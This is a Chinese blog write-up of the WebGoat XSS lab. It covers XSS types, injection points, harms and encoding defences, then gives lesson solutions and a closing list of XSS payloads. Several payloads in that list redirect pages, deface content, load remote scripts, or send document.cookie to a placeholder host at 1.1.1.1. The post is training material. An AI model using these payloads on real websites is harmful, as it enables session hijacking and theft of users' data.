Webgoat - xss

基础知识

XSS全称Cross-site script(跨站脚本攻击),是在允许使用html和script标签作为输入时未进行编码和过滤显示在页面时导致的漏洞

  • 分类
    1.反射性
    攻击者将包含恶意代码的连接发送给受害者(利用社工技术),受害者在点击链接后将恶意代码提交给服务器,服务器将将恶意脚本显示在页面上导致恶意代码在浏览器执行,使得攻击者窃取受害者数据或控制浏览器
    2.存储性
    攻击者将包含恶意代码的数据提交给服务器进行存储,当用户访问显示恶意代码数据的页面时,导致恶意代码在浏览器执行,使得攻击者窃取受害者数据或控制浏览器
    3.DOM-based
    发生在js写入到html过程中,使用js将用户提交的恶意内容写入html时,导致恶意代码执行,与反射型xss攻击手法类似,区别在于恶意脚本直接被js执行而不是通过提交到服务端再通过响应结果执行

  • 常见攻击位置
    回显用户数据的搜索框
    回显用户数据的输入框
    显示用户输入的错误信息
    包含用户数据的隐藏标签
    显示用户数据的任何页面,例如留言框和自由格式的评论框
    HTTP header

  • 危害
    窃取会话的cookie信息
    创建虚假的请求
    创建虚假字段用户收集用户的凭据
    重定向页面到其他页面
    创建伪造用户的请求
    窃取机密信息
    在用户系统上执行恶意脚本
    在网页插入恶意代码
    网络钓鱼(在url中插入合法的域名)

  • 防御
    对(服务器端和客户端js)输出到html/script标签中的数据进行编码(不要使用黑名单过滤)
    server->html:使用html encoder编码为html实体
    server->js:使用js encoder进行编码
    js->html:使用html encoder编码为html实体

题解

  • 0x02
    在这里插入图片描述
    在这里插入图片描述
    两次获得一样的cookie
    在这里插入图片描述
  • 0x07
    字段是否容易受到XSS攻击的简单方法是使用alert()或console.log()方法。
    在这里插入图片描述
  • 0x10
    在这里插入图片描述
    发现路由存在参数传递
    在这里插入图片描述
    test路由调用了lessonController控制器模块下的testHandler()函数
    在这里插入图片描述
    定位到lessonController控制器
    在这里插入图片描述

testHandler()调用lessonContentView.showTestParam(param)函数在这里插入图片描述
再次定位
在这里插入图片描述
在这里插入图片描述
发现该函数直接将test路由传递过来的参数直接显示到页面上,存在XSS
在这里插入图片描述

  • 0x11
    利用方式 < img src="" οnerrοr=‘alert(webgoat.customjs.phoneHome())’>
    在这里插入图片描述

总结

  • 使用场景
    直接嵌入HTML < script>alert(‘XSS’)</ script>
    元素便签事件 < body οnlοad=alert(‘XSS’)> ,< img src="" οnerrοr=‘alert(“xss”)’>
    图片标签 < img src=“javascript:alert(‘XSS’);”>
    其他标签 < iframe>, < div>,< link>
  • 利用POC
//检测是否存在XSS漏洞
<script>alert('xss' )</script>
<a href=" onclick=alert('xss')>type</a>
<img src=http://1.1.1.1/a.jpg onerror=alert('xss')>
//利用xss实现页面重定向
<script>window.location='http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1 /victim" height = "0" width ="0"> </iframe>
//获取受害者cookie
<script>new lmage(). src-="http://1.1.1.1/c.php?output="+document.cookie;</script>
//实现页面内容篡改
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
//窃取cookie,在肉鸡上存放js脚本,让受害者访问肉鸡上的脚本
<script src=http://1.1.1.1/a.js></script>
//a.js 源码
<script>
var img = new Image();
img.src = "http://1.1.1.1 /cookies.php?cookie="+document.cookie;
</script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值